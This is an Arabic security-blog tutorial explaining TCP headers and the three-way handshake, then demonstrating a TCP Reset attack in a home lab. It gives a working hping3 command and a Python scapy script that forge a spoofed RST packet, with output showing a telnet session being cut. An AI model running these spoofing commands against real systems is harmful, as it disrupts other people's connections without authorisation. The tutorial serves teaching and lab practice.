# TCP Reset Attack الهجوم بلغة البايثون

> هجوم TCP Reset يقطع اتصالاً قائماً بين جهازين بإرسال حزمة TCP مزوّرة تحمل علم RST بأرقام تسلسل صحيحة، فيظن الطرفان أنها شرعية ويُنهيان الاتصال. يوضح المقال أساسيات بروتوكول TCP والمصافحة الثلاثية، ثم ينفّذ الهجوم عملياً عبر أداة hping3 وبسكربت بايثون باستخدام مكتبة scapy.

- الرابط: https://blog.cyberpedia.site/tcp-reset-attack/
- التصنيف: اختبار الاختراق
- الكاتب: Jameel Hussein Tawelh
- تاريخ النشر: 30 نوفمبر 2021 (2021-11-30)
- آخر تحديث: 23 يونيو 2024 (2024-06-23)

هذا الهجوم يتم من خلال خلق و إرسال حزمة بيانات واحدة مزورة spoofed TCP segment لخداع هدفين متصلين باستخدام TCP لقطع الاتصال القائم بينهما

![مخطط هجوم TCP Reset: المهاجم يرسل حزمة RST مزوّرة لقطع اتصال TCP القائم بين الجهازين A وB](https://blog.cyberpedia.site/_astro/img-01.A2vClWn3_1nL126.webp)

كان لهذا الهجوم عواقب في العالم الحقيقي وتسبب بالخوف من اجراء تغييرات على البرتوكول TCP ويعتقد أن هذا الهجوم هو عنصر رئيسي في جدار الحماية الصيني العظيم الذي تستخدمه الحكومة الصينية لفرض رقابة على الانترنت داخل الصين  بالرغم من أهمية هذا الهجوم ولكنه لا يتطلب فهم عميق للشبكات أو لآلية عمل البرتوكول TCP

في هذا المقال سنتعرف على اساسيات البرتوكول TCP وسنتعرف على آلية عمل الهجوم TCP Reset Attack وسنقوم بتنفيذ هذا الهجوم بطريقتين:

-   الأولى من خلال خلق حزمة بيانات باستخدام أداة hping3
-   الثانية من خلال كتابة كود بايثون لينفذ هذه المهمة

## كيف يتم هجوم TCP Reset Attack

يقوم المهاجم بقطع الاتصال بين جهازي ضحية من خلال إرسال رسالة مزورة لاحدهما أو كلاهما ومحتوى هذه الرسالة هو طلب قطع الاتصال بشكل مباشر وهذه الرسالة هي TCP reset segment

في الحالات الطبيعية ترسل هذه الرسالة عندما يتلقى الجهاز حركة بيانات غير متوقعة ويريد من مرسلها التوقف عن عملية الارسال وهذا الهجوم يتم من خلال استغلال هذه الآلية لخداع الضحايا لإغلاق اتصال TCP بعد تلقي حزمة بيانات مزورة fake reset segment وإذا تم ضبط القيم الخاصة بهذه الحزمة بشكل صحيح من قبل المهاجم فإن الجهاز الضحية سيدرك أن هذه البيانات هي صحيحة وسيقوم بقطع الاتصال ومنعه من تبادل المزيد من المعلومات، يمكن للضحايا إنشاء اتصال TCP جديد كمحاولة لاستئناف الاتصال السابق ولكن يمكن للمهاجم أيضاً قطع هذه الاتصال مرة أخرى ولكون هذا الهجوم يتطلب من المهاجم إعداد وخلق الحزمة المزورة فهذا الهجوم يكون فعال فقط ضد عمليات الاتصال الطويلة لأن الاتصالات القصيرة ستكون قد انتهت في الوقت الذي يحاول فيه المهاجم خلق الحزمة المزورة

إرسال حزمة مزورة spoofed TCP segment هو أمر سهل جداً كون آلية عمل كل من البرتوكول TCP والبرتوكول IP لا يتم من خلالهم التحقق من هوية المستخدم (يوجد إضافة لبرتوكول IP تؤمن عملية المصادقة تسمى IPSec سنتعرف عليها في مقال قادم ولكنها غير مستخدمة على نطاق واسع) من المفترض أن يرفض مزود خدمة الانترنت نقل حزم البيانات التي تدعي أنها جاءت من عنوان IP منتحل ولكن هذا التحقق غير مطبق بشكل كامل

كل ما يمكن للمستقبل القيام به هو أخذ عنوان IP ورقم البورت للمصدر من داخل حزمة البيانات ومحاولة التحقق من هوية المرسل من خلال برتوكولات الطبقات الأعلى ولكون TCP reset هي جزء من البرتوكول TCP نفسه فلا يمكن التحقق من صحتها باستخدام هذه البرتوكولات

على الرغم من سهولة هذا الهجوم ولكن من الأفضل أن نقوم أولاً بفهم آلية عمل البرتوكول TCP

## TCP Protocol

**Transmission Control Protocol**

البرتوكول المسؤول عن عملية الاتصال ويعمل في الطبقة الرابعة Transport Layer وعملية الاتصال تبدأ من خلال المصافحة الثلاثية Three-way Handshake ويتم التأكد من وصول البيانات المرسلة لذلك يتم استخدامه في التطبيقات التي تقوم بإرسال بيانات مهمة مثل: HTTP and FTP

TCP يعرف باسم برتوكول الاتصال الموجه Connection Oriented وهو يقوم بتأسيس الاتصال ومن ثم يتأكد من وصول حزم البيانات المرسلة إلى المستقبل.

عملية الاتصال تبدأ بإرسال SYN Packet والتي هي بداية لعملية المصافحة الثلاثية والتي تخبر المستقبل بأن المرسل يريد تأسيس اتصال TCP، المستقبل يرد بإرسال SYN-ACK  كإعلام على أنه استلم طلب SYN وعندما تصل الإجابة SYN-ACK إلى المرسل يقوم بإرسال ACK كإعلام على أنه تلقى الإجابة وعندها تبدأ عملية الاتصال عبر برتوكول TCP

**الشكل** **التالي** **يظهر** **عملية** **المصافحة** **الثلاثية**:

**TCP three-way handshake**

![مخطط المصافحة الثلاثية في بروتوكول TCP: إرسال SYN ثم الرد بـSYN-ACK ثم تأكيد ACK بين النظامين](https://blog.cyberpedia.site/_astro/img-02.CR3UG4Qx_ZG2aMA.webp)

*التقاط المصافحة الثلاثية في Wireshark:*

| Source | Destination | Protocol | Length | Info |
| --- | --- | --- | --- | --- |
| 192.168.200.128 | 192.168.100.128 | TCP | 74 | 39944 → 80 [SYN] Seq=0 Win=29200 |
| 192.168.100.128 | 192.168.200.128 | TCP | 60 | 80 → 39944 [SYN, ACK] Seq=0 Ack=1 |
| 192.168.200.128 | 192.168.100.128 | TCP | 54 | 39944 → 80 [ACK] Seq=1 Ack=1 |

حزم TCP Packet ترقم بشكل تسلسلي ويجب أن تفهم آلية الترقيم لاستخدامها في مثل هذا النوع من الهجمات أو هجمات سرقة الجلسة Session Hijacking وهجمات رجل في المنتصف MITM – Man in the Middle

رسالة TCP تسمى Segment وتتألف من البيانات المرسلة والترويسة Header

**الشكل التالي يظهر مكونات TCP Header:**

![مخطط ترويسة TCP Header وحقولها: المنافذ وأرقام التسلسل والإقرار وبتات التحكم وحجم النافذة والتحقق](https://blog.cyberpedia.site/_astro/img-04.CNUoMInb_Z2qCx41.webp)

-   **Source Port and Destination Port**:

لها طول 16 bits وتحوي على رقم المنفذ الذي تم إرسال البيانات عبره ورقم المنفذ الذي سيتم استقبال البيانات من خلاله.

-   **Sequence Number (32 bits):**

تحوي على الرقم التسلسلي لأول Byte من البيانات في Segment ويستخدم لتحديد المكان أو الترتيب الصحيح لحزم البيانات.

-   **Acknowledgment Number (32 bits):**

تحوي على الرقم التسلسلي الخاص بالمرسل (تم زيادته بمقدار واحد)

-   **H.Len (4 bits):**

حجم الترويسة

-   **Rsvd:**

محجوزة لاستخدام مستقبلي.

-   **Control Bits (Control Flags):**

 تحوي على احدى الأعلام التالية:

-   **SYN:** للدلالة على المزامنة وله رقم تسلسلي ويستخدم لبدء عملية الاتصال.
-   **ACK:** للدلالة على استلام الطلب.
-   **RST:** قطع الاتصال بشكل فوري.
-   **FIN:** للإشارة لانتهاء البيانات المرسلة وبالتالي انهاء عملية الاتصال.
-   **PSH:** للإشارة إلى ضرورة إرسال البيانات الموجودة في الذاكرة المؤقتة.
-   **URG:** للإشارة إلى أن البيانات المرسلة هي بيانات مستعجلة والمؤشر Urgent Pointer يحوي على الرقم التسلسلي لهذه البيانات.

## بيئة الاختبار

بيئة الاختبار مكونة من ثلاث أجهزة ضمن نفس الشبكة

1.  **جهاز المهاجم:** يعمل بنظام التشغيل كالي لينكس
2.  **جهاز الضحية الأول:** يعمل بنظام لينكس (metasploitable2)  وله عنوان IP: 192.168.17.129
3.  **جهاز الضحية الثاني:** يعمل بنظام Ubuntu وله العنوان IP: 192.168.17.135

## سيناريو الهجوم

سنقوم بعملية اتصال telnet من خلال نظام Ubuntu IP:192.168.17.135   مع النظام metasploitable2 IP: 192.168.17.129 ومن ثم سنقوم بقطع هذا الاتصال من خلال ارسال حزمة بيانات مزورة Spoofed TCP Reset من قبل النظام كالي لينكس

```bash
cyberfu@ubuntu:~$ telnet 192.168.17.129
Trying 192.168.17.129...
Connected to 192.168.17.129.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
```

بعد نجاح عملية الاتصال لنقم بفتح wireshark في جهاز الهجوم (الكالي) ونقم بفلترة حزم البيانات باستخدام خيار الفلترة التالي:

```text
ip.dst == 192.168.17.129 && ip.src == 192.168.17.135
```

والذي سيقوم بعرض حركة البيانات من المصدر 192.168.17.135 إلى الوجهة 192.168.17.129 فقط

*حركة البيانات بعد تطبيق الفلتر في Wireshark، ومنها نقرأ رقم التسلسل اللازم للهجوم (raw: 3979056369):*

| Source | Destination | Protocol | Info |
| --- | --- | --- | --- |
| 192.168.17.135 | 192.168.17.129 | TELNET | Telnet Data ... |
| 192.168.17.135 | 192.168.17.129 | TCP | 44914 → 23 [ACK] Seq=187 Ack=10194 |
| 192.168.17.135 | 192.168.17.129 | TCP | 44914 → 23 [RST] Seq=172 Win=65536 |

**HPING3:**

هذه الأداة تسمح لنا بإرسال حزم بيانات عبر الشبكة وتسمح لنا بخلق الحزم المرسلة وتخصيصيها بحسب الغاية المطلوبة، لنقم بخلق حزمة بيانات مزورة من خلال التعليمة التالية:

```bash
hping3 192.168.17.129 -a 192.168.17.135 -p 23 -s 44914 -R -M 3979056369 -c 1
HPING 192.168.17.129 (eth0 192.168.17.129): R set, 40 headers + 0 data bytes

--- 192.168.17.129 hping statistic ---
1 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

-   **192.168.17.129:** عنوان الجهاز الذي سيتم ارسال حزمة البيانات له
-   **a 192.168.17.138:** عنوان IP المنتحل spoofed IP – حزمة البيانات سيكون لها هذا العنوان كعنوان المصدر
-   **p 23:** رقم البورت في الوجهة
-   **s 44914:** رقم البورت في المصدر
-   **R:** لخلق Reset Flag
-   **M 3979056369:** رقم sequence number
-   **c 1:** لإرسال حزمة بيانات واحدة

> هذه القيم تم الحصول عليها من خلال wireshark

الآن وبعد إرسال هذه الحزمة سيتم قطع اتصال telnet بين الأجهزة الهدف

```bash
msfadmin@metasploitable:~$ Connection closed by foreign host.
cyberfu@ubuntu:~$
```

## الهجوم بلغة البايثون

لنقم بكتابة كود بايثون لتنفيذ هذا الهجوم

```python
#!/usr/bin/python3
#TCP Reset Attack
#Import Scapy
import sys
from scapy.all import *

print("SENDING RESET PACKET.........")

#Spoofing IP
IPLayer = IP(src="192.168.17.135", dst="192.168.17.129")
#Create Spoofed TCP Reset Segment
TCPLayer = TCP(sport=44962, dport=23, flags="R", seq=3467116117)
pkt = IPLayer/TCPLayer
ls(pkt)
send(pkt, verbose=0)
#Cyber Fu
```

في البداية لنقم باستيراد scapy إن لم تكن منصبة لديك مسبقاً يمكنك تنصيبها باستخدام التعليمة التالية على نظام كالي لينكس

```bash
apt-get install python3-scapy
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
python3-scapy is already the newest version (2.4.4-4).
0 upgraded, 0 newly installed, 0 to remove and 843 not upgraded.
```

ومن ثم قمنا بتحديد عناوين IP لكل من المصدر (عنوان منتحل) والوجهة وقمنا بتحديد رقم البورت في كل من المصدر والهدف وقمنا بتحديد رقم sequence number

(هذه القيم حصلنا عليها من خلال تحليل حركة البيانات ضمن wireshark)

الآن وعند تنفيذ هذا الكود سيتم خلق حزمة بيانات مزورة لها flag reset مع عناوين IP للمصدر والهدف هي عناوين الأجهزة الهدف وسيتم إرسال هذه الحزمة وسيتم قطع الاتصال بين الأجهزة الهدف

```text
python3 tcpreset.py
SENDING RESET PACKET.........
version    : BitField  (4 bits)        = 4              (4)
ihl        : BitField  (4 bits)        = None           (None)
tos        : XByteField                = 0              (0)
len        : ShortField                = None           (None)
id         : ShortField                = 1              (1)
flags      : FlagsField (3 bits)       = <Flag 0 ()>    (<Flag 0 ()>)
frag       : BitField  (13 bits)       = 0              (0)
ttl        : ByteField                 = 64             (64)
proto      : ByteEnumField             = 6              (0)
chksum     : XShortField               = None           (None)
src        : SourceIPField             = '192.168.17.135' (None)
dst        : DestIPField               = '192.168.17.129' (None)
options    : PacketListField           = []             ([])
--
sport      : ShortEnumField            = 44962          (20)
dport      : ShortEnumField            = 23             (80)
seq        : IntField                  = 3467116117     (0)
ack        : IntField                  = 0              (0)
```

> لا تقم باستهداف أي شبكة لا تملكها أو لا تملك صلاحية يٌسمح لك من خلالها القيام بذلك، لا تقم بأي عمل غير قانوني أو غير اخلاقي

## أسئلة شائعة

### ما هو هجوم TCP Reset؟

هو هجوم يقطع اتصالاً قائماً بين جهازين عبر إرسال حزمة TCP مزوّرة تحمل علم RST بقيم صحيحة، فيظن الطرفان أنها شرعية وينهيان الاتصال فوراً.

### لماذا يكون هجوم TCP Reset فعّالاً ضد الاتصالات الطويلة فقط؟

لأن المهاجم يحتاج وقتاً لإعداد الحزمة المزوّرة بالقيم الصحيحة، فالاتصالات القصيرة تنتهي قبل أن يتمكن من ذلك.

### ما الأدوات المستخدمة لتنفيذ الهجوم في المقال؟

تُستخدم أداة hping3 لصياغة حزمة RST مزوّرة، كما يُكتب سكربت بلغة بايثون باستخدام مكتبة scapy لتنفيذ الهجوم نفسه.

---

المصدر: مدونة سايبربيديا (https://blog.cyberpedia.site/tcp-reset-attack/)
